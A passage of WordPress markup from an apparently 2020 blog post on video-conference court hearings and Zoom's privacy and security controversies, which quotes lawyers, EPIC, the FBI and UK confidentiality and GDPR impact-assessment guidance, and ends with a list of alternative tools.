href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.politico.com/news/2020/04/03/multiple-state-ags-looking-into-zooms-privacy-practices-162743&amp;usg=ALkJrhiuzK-w-kyBWl0sbmLQ7fot4A0pjA\">Multiple state AGs looking into Zoom\'s privacy practices</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Use of video conferences for hearing outfits:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.linkedin.com/in/richardsusskind/detail/recent-activity/\">Richard Susskind</a>, President of the Society for Computers and Law announced two weeks ago :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.linkedin.com/feed/update/urn:li:activity:6650510564797878273/&amp;usg=ALkJrhiCKTGuQtVoub0CRXhok5whX6VpkQ\">Launched today: REMOTE COURTS WORLDWIDE, designed to help the global community of justice workers share experiences of \'remote\' alternatives (audio, video, online) to traditional courts.&nbsp;This is a joint effort involving&nbsp;</a><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.linkedin.com/company/scl-society-for-computers-and-law-/&amp;usg=ALkJrhiwdruKG-8NaK5C08MjAQ9Ix5762Q\">SCL - Society for Computers and Law</a>&nbsp;,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.linkedin.com/company/hm-courts-%26-tribunals-service/&amp;usg=ALkJrhii6pryNkI8AKlRiPOC4yuyaVCvDw\">HM Courts &amp; Tribunals Service (HMCTS)</a>&nbsp;, and the UK\'s LawTech Delivery Panel.&nbsp;We must sixteen the moment and come together to accelerate the development of new ways of continuing to deliver just outcomes for court users.&nbsp;Please contribute content at...</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>He later posted :<em> Update after 1 week. We now have news from 20 countries on REMOTE COURTS WORLDWIDE, a site that helps the global community of justice workers share experiences of \'remote\' alternatives (audio, video, online) to traditional courts -</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The courts will resume face-to-face hearings when the current crisis is over. But remote working can be a much more efficient way of delivering justice. My latest column for <a href=\"https://twitter.com/lawsocgazette\">@lawsocgazette</a> looks at how courts and tribunals are coping with online hearings.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In France, on April 3, Maitre Aymeric Duhesne from Cabinet Montesquieu announced on Linkedin:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>“With Le Bâtonnier Stephane Dhonte, the registry of the Lille Métropole Commercial Court and the judge for interim measures, we have just finalized the test of the 1st hearing by videoconference as allowed by order 2020-304 of 25.03.20.&nbsp;The Bar of Lille and its lawyers are force of proposal and immediately operational solution and thus mark their determination to allow the continuity of the access to the right to litigants, individuals and companies, in spite of the health crisis.&nbsp;Cases will be heard again next week and decisions made. ”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the same time, Stephen Almaseanu, Vice Prosecutor at the Paris Public Prosecutor\'s Office, Section F2 (deputy head of the section, in charge of commercial affairs) announced on Linkedin:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“&nbsp;<em>The Commercial Court of Paris has just held, on Wednesday 1 and Thursday 2 April 2020, two days of dematerialized hearings which went very well. More than 40 urgent files, notably due to the presence of unpaid employees, were processed by videoconference using&nbsp;</em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.linkedin.com/company/tixeo/&amp;usg=ALkJrhjlL6VMQdICyvreiF-UAxjOAu97mg\"><strong><em>TIXEO</em></strong></a><em>&nbsp;, French software ensuring total confidentiality of debates thanks to fully encrypted links, which allows it to be certified by the \'&nbsp;</em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.linkedin.com/company/anssi-fr/&amp;usg=ALkJrhibGge86G_h552xlifXKfXhk_xcgg\"><strong><em>ANSSI - National Agency for Information Systems Security</em></strong></a><em>. These concerned the opening of liquidations and conversions into liquidation, but also the opening of receiverships (remember, moreover, that since the beginning of the confinement, many ad hoc mandates and conciliations have also been opened). Congratulations in particular to the Registry of the Tribunal, which organized these very cumbersome hearings to set up by warning all stakeholders (managers, counsel, AJMJ, employee representatives) of the exact time of the passage of their file so that everyone can connect at the right time). Congratulations also to the judges and to all the interveners who made it possible to hold these very useful first hearings, which allow Parisian businesses to continue to have access to the court in the event of an emergency.</em>&nbsp;”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maître Emmanuel Brunau du Mans announced yesterday still on Linkedin:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“&nbsp;<em>For information, the Le Mans commercial court registry operates normally despite the closure of the Judicial precinct.&nbsp;A hotline is maintained at the usual hours.&nbsp;Finally, to deal with the emergency, hearings to initiate collective proceedings in secure TIXEO videoconferencing are held every Tuesday during confinement. ”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Where initiatives fall by the wayside in France, on the Anglo-Saxon side a concerted initiative has emerged:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Despite the popularity of this video conferencing tool, alarm cries continue to be heard against the use of Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://epic.org/&amp;usg=ALkJrhiJZ_2sMD4Ci1Zuh7sxzTsjyYelLA\">EPIC, Electronic Privacy Information Center</a>&nbsp;, requests investigations from the FTC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“&nbsp;<a rel=\"noreferrer noopener\" href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://twitter.com/JLLeitschuh/status/1148310958391091200&amp;usg=ALkJrhgI4bjj9BEWlwZmVy8aVjs6_0hOnw\" target=\"_blank\">Jonathan Leitschuh</a>&nbsp;, exposed a flaw allowing hackers to&nbsp;&nbsp;<a rel=\"noreferrer noopener\" href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.vox.com/recode/2019/7/9/20687689/zoom-mac-vulnerability-medium-jonathan-leitschuh-camera&amp;usg=ALkJrhiMcI4p_P7CgUSyAbDFcJvGvzyuXQ\" target=\"_blank\">take over Zoom webcams</a>&nbsp;.&nbsp;The letter noted that the company did not address problem until after the Electronic Privacy Information Center, a public interest research center,&nbsp;&nbsp;<a rel=\"noreferrer noopener\" href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://epic.org/privacy/zoom/EPIC-FTC-Complaint-In-re-Zoom-7-19.pdf&amp;usg=ALkJrhhFmd1hBEUAtgcIaka36ZyWjwEmBQ\" target=\"_blank\">filed a complaint&nbsp;</a>&nbsp;about Zoom with the Federal Trade Commission last year</em>&nbsp;. ”</li><li>“&nbsp;<em>According to EPIC,&nbsp;&nbsp;<a rel=\"noreferrer noopener\" href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://medium.com/bugbountywriteup/zoom-zero-day-4-million-webcams-maybe-an-rce-just-get-them-to-visit-your-website-ac75c83f4ef5&amp;usg=ALkJrhiJc3vmcRd0mDljNMB8UiTBmAIf7g\" target=\"_blank\">Zoom</a>&nbsp;&nbsp;intentionally designed its web conferencing service to bypass browser security settings and remotely enable a user\'s web camera without the knowledge or consent of the user.&nbsp;As a result, Zoom exposed users to the risk of remote surveillance, unwanted videocalls, and denial-of-service attacks, ”&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://decrypt.co/23283/zoom-is-watching-you-heres-what-you-can-do-about-it&amp;usg=ALkJrhg1t3hMtkwpP-l6IAx2SX9F2ZWrOQ\">the complaint alleged.&nbsp;</a></em>”</li><li><em>“EPIC Urges FTC to Investigate Zoom, Issue Best Practices for Online Conferencing In a letter to FTC Chairman Joe Simons, EPIC urged the FTC to“ open an investigation of Zoom\'s business practices and to issue, as soon as practicable, Best Practices for Online Conferencing Services.\"&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://lnkd.in/epjxHgw&amp;usg=ALkJrhiZMUeldTAvi4Li9zYMi-BsxL20YQ\">Here\'s the press release</a>&nbsp;“</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>FBI issues alerts</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“Earlier this week, the FBI&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.fbi.gov/contact-us/field-offices/boston/news/press-releases/fbi-warns-of-teleconferencing-and-online-classroom-hijacking-during-covid-19-pandemic&amp;usg=ALkJrhgjlGgm3E1CPmvt35Kru_yMJdDqcA\" target=\"_blank\" rel=\"noreferrer noopener\">warned</a>&nbsp;&nbsp;of so-called“ Zoom-bombing ”or videoconference hacking.&nbsp;“The FBI has received multiple reports of conferences being disrupted by pornographic and / or hate images and threatening language,” it said.&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://edition.cnn.com/2020/04/02/us/fbi-warning-zoombombing-trnd/index.html&amp;usg=ALkJrhg8Kh5SaRN84sEzDGrrSSaWUI6PPw\">Published by CNN</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong><em>Zoom needs to clean up its privacy policy</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>“Privacy advocacy group Access Now, meanwhile, dug into Zoom\'s privacy policy and practices and didn\'t like what it saw,&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.accessnow.org/access-now-urges-transparency-from-zoom-on-privacy-and-security/&amp;usg=ALkJrhhUJZcKzJIZxS248ojOceFQVMRr_w\" target=\"_blank\" rel=\"noreferrer noopener\">sending a letter</a>&nbsp;&nbsp;to the company on March 19 asking it to publish a transparency report along the same lines as other companies that made it plain exactly what the company was doing with its users\' data. “&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://blogs.harvard.edu/doc/2020/03/27/zoom/&amp;usg=ALkJrhjBBPAc4LCzv4szyugpess4uplkkg\">Harvard Blog</a></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“Attorney General Tong Issues Recommendations for Safe Video Conferencing. “Earlier this week, I attended a Zoom conference that was \'bombed\' by hundreds of profane and racist comments. Needless to say, I am familiarizing myself with these platforms\' privacy and security features, too. My office has been in contact with representatives from Zoom to address this and other issues relating to online security and privacy, ”said Attorney General Tong. “In the meantime, Attorney General Tong encouraged everyone to practice safer video conferencing by: • Ensuring that your video conference software is up to date. • Confirming that your conferences are private, either by requiring a password for entry or controlling guest access through a virtual waiting room. • Checking that the highest security settings are applied for your teleconference platform.• Consult your software company\'s security information or your IT department.<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://lnkd.in/gRcq9x2&amp;usg=ALkJrhgNjYVDYRSP5wLPDy3VqZOk7l9HOA\">Here\'s the press release&nbsp;</a><strong>”</strong></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>What may be the responsibility of lawyers with regard to the processing of data following the use of an application that has raised so many questions&nbsp;</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A lawyer is bound by professional confidentiality in the UK :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a>The principle regulatory duties relating to confidentiality are to be found in the SRA Principles 2011 and at Chapter 4 of the SRA Code of Conduct 2011 (“the Code”). The relevant Principles are:1 – uphold the rule of law and the proper administration of justice;4 – act in the best interests of each client;5 – provide a proper standard of service to your clients; and6 – behave in a way that maintains the trust the public places in you and in the provision of legal services.whilst Outcome O (4.1) contains the main regulatory duty, namely that “you keep the affairs of clients confidential unless disclosure is required or permitted by law or the client consents;”<br>There is also a duty to ensure “that the affairs of clients should be kept confidential” which is to be found at section 1(3)(e) of the Legal Services Act 2007.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Need for an&nbsp;</strong><strong>impact study to be carried out before the adoption of the new technology,</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to ensure proper compliance with the data protection rules as developed above, lawyers in the footsteps of their professional orders, must ensure the compliance of the technical means used.&nbsp;The confidentiality of the information they are responsible for requires their utmost vigilance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this context, an evaluation of the impact of the new technology on the protection of the data processed is essential before any use.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>The UK ICO explains:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>The <a href=\"https://ico.org.uk/for-organisations/guide-to-data-protection/guide-to-the-general-data-protection-regulation-gdpr/accountability-and-governance/data-protection-impact-assessments/\">DPIA</a> is an important tool for the accountability of organisations: it helps them not only to build data processing respectful of privacy, but also to demonstrate their compliance with the General Data Protection Regulations (GDPR).&nbsp;It is compulsory for treatments likely to generate high risks.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>You must do a DPIA for processing that is&nbsp;</em><strong><em>likely to result in a high risk</em></strong><em>&nbsp;to individuals. This includes some specified types of processing. You can use our screening checklists to help you decide when to do a DPIA.</em></li><li><em>It is also good practice to do a DPIA for any other major project which requires the processing of personal data.</em></li><li><em>Your DPIA must:</em><ul><li><em>describe the nature, scope, context and purposes of the processing;</em></li><li><em>assess necessity, proportionality and compliance measures;</em></li><li><em>identify and assess risks to individuals; and</em></li><li><em>identify any additional measures to mitigate those risks.</em></li></ul></li><li><em>To assess the level of risk, you must consider both the likelihood and the severity of any impact on individuals. High risk could result from either a high probability of some harm, or a lower possibility of serious harm.</em></li><li><em>You should consult your data protection officer (if you have one) and, where appropriate, individuals and relevant experts. Any processors may also need to assist you.<br>If you identify a high risk that you cannot mitigate, you must consult the ICO before starting the processing.<br>If you are processing for law-enforcement purposes, you should read this alongside the&nbsp;</em><a href=\"https://ico.org.uk/for-organisations/guide-to-data-protection/guide-to-law-enforcement-processing/\"><em>Guide to Law Enforcement Processing</em></a><em>.<br>The ICO will give written advice within eight weeks, or 14 weeks in complex cases. If appropriate, we may issue a formal warning not to process the data, or ban the processing altogether.\'</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>In the absence of risk assessment measures, the negligent lawyer undertakes to challenge his responsibility.&nbsp;Professional orders should be made aware of this risk and support their members in finding a solution that meets the requirements of the regulations.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.cnil.fr/fr/salaries-en-teletravail-quelles-sont-les-bonnes-pratiques-suivre&amp;usg=ALkJrhj_GiD593CgYcaIdhiRmy5yhzgGzg\">CNIL,</a>&nbsp;like other national protection authorities, has produced guides to this effect.&nbsp;Here is the document produced by the&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.dataprotection.ie/en/news-media/blogs/data-protection-tips-video-conferencing&amp;usg=ALkJrhj0N_9262kmEQyLWZ2g9ZxBrT-4vg\">Irish Data Protection Commissioner</a>&nbsp;.&nbsp;A&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.ssi.gouv.fr/guide/recommandations-sur-la-securisation-des-systemes-de-controle-dacces-physique-et-de-videoprotection/&amp;usg=ALkJrhjBXVgB0bCbmY57J9GzcIkAJgkOlQ\">recommendation from ANSSI</a>&nbsp;is also available.&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.enisa.europa.eu/tips-for-cybersecurity-when-working-from-home&amp;usg=ALkJrhgYf3fmViFdYwU6362e92roBWIw2Q\">ENISA</a>&nbsp;\'&nbsp;<em>cybersecurity when working from home\'</em>&nbsp;.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The use of the Zoom application has already been subject to liability lawsuits:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.secureworldexpo.com/industry-news/zoom-sued-over-privacy-announces-cybersecurity-upgrades&amp;usg=ALkJrhj-jFag30DEps3yDvzZO-mE_kPwdQ\">Zoom Sued Over Privacy, Announces Cybersecurity Upgrades</a></em></li><li><em>The Facebook API kerfuffle resulted in a&nbsp;&nbsp;<a rel=\"noreferrer noopener\" href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.theregister.co.uk/2020/04/01/zoom_spotlight/&amp;usg=ALkJrhhQpBNjPaB6n21CUZKKrVbOJmbcpg\" target=\"_blank\">lawsuit</a>&nbsp;&nbsp;[PDF], filed on Monday in California.&nbsp;The plaintiff in this case, Robert Cullen of Sacramento, California,&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.theregister.co.uk/2020/04/01/zoom_spotlight/&amp;usg=ALkJrhhQpBNjPaB6n21CUZKKrVbOJmbcpg\">The Register.</a></em></li><li>Controller responsibility regarding use of ZOOM  :Use of ZOOM requires an organisation to enter into a <strong>processing agreement</strong> with ZOOM. For this, a standard agreement has been drawn up by ZOOM whereby many of the responsibilities for processing personal data are placed with the controller. See the <a href=\"https://zoom.us/docs/doc/Zoom_Data_Processing_Addendum_Processor_Form_Final-SIGNED.pdf\">addendum for this</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says&amp;usg=ALkJrhi8nkNmlsHXdFaRkhdBCn25Gk18LQ\">Brittany Roush, Director at the Crypsis Group, said</a>&nbsp;: “That having that kind of flexibility to ensure that critical services can carry on, especially in a crisis, does not take the teeth from the CCPA and GDPR.&nbsp;If anything, it demonstrates that the regulatory bodies are carrying out their essential function - which is to ensure that companies protect consumer data… In many ways, the CCPA and GDPR should take a page from HIPAA, which lowered security standards for telehealth in order to manage the critical healthcare demands of the pandemic… we do not have the luxury of time on our side to motto perfect solutions.</em></li><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.securityweek.com/zoom-credentials-database-available-dark-web%3F&amp;usg=ALkJrhiHh5V6iBXnGKy2ET02PFwNUFZ4iA\">Zoom Credentials Database Available on Dark Web</a></li><li><a href=\"http:// https://www.techradar.com/uk/news/zoom-banned-for-official-use-in-taiwan\">Germany bans Zoom for official use</a></li><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://medium.com/a-change-is-coming/what-zoom-can-learn-from-microsoft-aec876b79968&amp;usg=ALkJrhjBtuOwBYzF9YzkBKKshDGRweBcjg\">Lessons from the Past: What Zoom can learn from Microsoft</a></li><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://uk.reuters.com/article/uk-spacex-zoom-video-commn/elon-musks-spacex-bans-zoom-over-privacy-concerns-memo-idUKKBN21J71J&amp;usg=ALkJrhjcq5VPn95-H1hOBy8xgZqJ5QV38g\">Elon Musk\'s SpaceX bans Zoom over privacy concerns - memo</a></li><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.nextinpact.com/news/108877-la-direction-interministerielle-numerique-deconseille-fortement-application-zoom.htm&amp;usg=ALkJrhix6zz3Jtqs3q9k1imlSTo_QS2YZw\">The Interdepartmental Digital Directorate “strongly advises” against the Zoom application</a></li><li><a href=\"https://www.reuters.com/article/us-zoom-video-comm-privacy-singapore-idUSKCN21S0AH\">Singapore stops teachers using Zoom app after \'very serious incidents\'</a></li><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.macg.co/logiciels/2020/04/de-plus-en-plus-deconseille-zoom-fait-appel-lancien-chef-de-la-securite-de-facebook-113193&amp;usg=ALkJrhiGCYK2TwzPqbKd3NT0n2QaxPed7A\">Increasingly discouraged, Zoom calls on the former chief security officer of Facebook&nbsp;</a></li><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.forbes.com/sites/moorinsights/2020/04/03/why-most-should-avoid-the-out-of-control-zoom-right-now/&amp;usg=ALkJrhhxsK7ZZubFewMxuWXGygg-zeRn8Q\">Why Most Should Avoid An \'Out Of Control\' Zoom Right Now</a></li><li><a href=\"https://www-washingtonpost-com.cdn.ampproject.org/c/s/www.washingtonpost.com/technology/2020/04/03/thousands-zoom-video-calls-left-exposed-open-web/?outputType=amp\">Thousands of Zoom video calls left exposed on open Web</a></li><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.techrepublic.com/article/dark-web-cybercriminals-sell-half-a-million-zoom-accounts/&amp;usg=ALkJrhjQwe-y_3jTSdQdTtPhvYERj_V5Mg\">Dark web: Cybercriminals sell over 500,000 Zoom accounts</a></li><li><a href=\"https://www.law360.com/articles/1263127/facebook-linkedin-sued-for-eavesdropping-on-zoom-users\">Facebook, LinkedIn Sued For \'Eavesdropping\' On Zoom Users.</a></li><li>A class-action lawsuit has been brought against Facebook, LinkedIn and Zoom alleging personal information from Zoom user accounts was shared to the social networking sites.</li><li><a href=\"https://www.nytimes.com/2020/04/02/technology/zoom-linkedin-data.html?smid=linkedin\">A Feature on Zoom Secretly Displayed Data From People’s LinkedIn Profiles</a></li><li><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.securityweek.com/zoom-credentials-database-available-dark-web%3F&amp;usg=ALkJrhiHh5V6iBXnGKy2ET02PFwNUFZ4iA\">Zoom Credentials Database Available on Dark Web</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Zoom is surely not the only company disrespectful of users security and privacy. Hopefully Data Protection Authorities will further investigate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.independent.ie/business/technology/irish-data-protection-commissioner-liaises-with-european-colleagues-over-zoom-concerns-39119838.html?mkt_tok=eyJpIjoiWVRCbU4yTXpZelkyWkRneiIsInQiOiJCK2hkY0dGTTRmSEZBaHZmRkJxNXVSeDA5QlFlY25TVDhPUW56RWx2S29VdDIzejVBQWhrbUFrQjZuOGFIQzc5UkUzb0lhNUh6TW1CTDdhM01rN3VPa3k0UWV3Zzhlek0wenQ0ampmTEY3SVk3Sit5clQ1OHlrVGNMQWsyRnR6MSJ9\">Irish data protection commissioner liaises with European colleagues over Zoom concerns</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Meanwhile, concerns are not where you would expect them to be : <a href=\"https://www.abajournal.com/news/article/lawyers-are-dressing-way-too-casual-during-zoom-hearings-judge-says\">Lawyers are dressing way too casual during Zoom court hearings, judge says</a> </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><strong>So in conclusion, it is imperative to properly assess the impact of the choice of a technology on data protection.&nbsp;A lawyer or whoever handles sensitive data entrusted to him or in the course of his mission, is required to apply the greatest vigilance.&nbsp;Impact assessment is essential.&nbsp;In its absence, the questioning of responsibility is to be feared.</strong></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>What are the alternative solutions?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Zoom alternatives:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://jitsi.org/jitsi-meet/&amp;usg=ALkJrhi_3ppmOKDiranVC_IsLrhe18E7UA\">Jitsi&nbsp;</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.tixeo.com/&amp;usg=ALkJrhhF_DEeCfhMnfkHTBPeAKR8ub0nhw\">Tixeo</a>&nbsp;recommended by ANSSI</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a 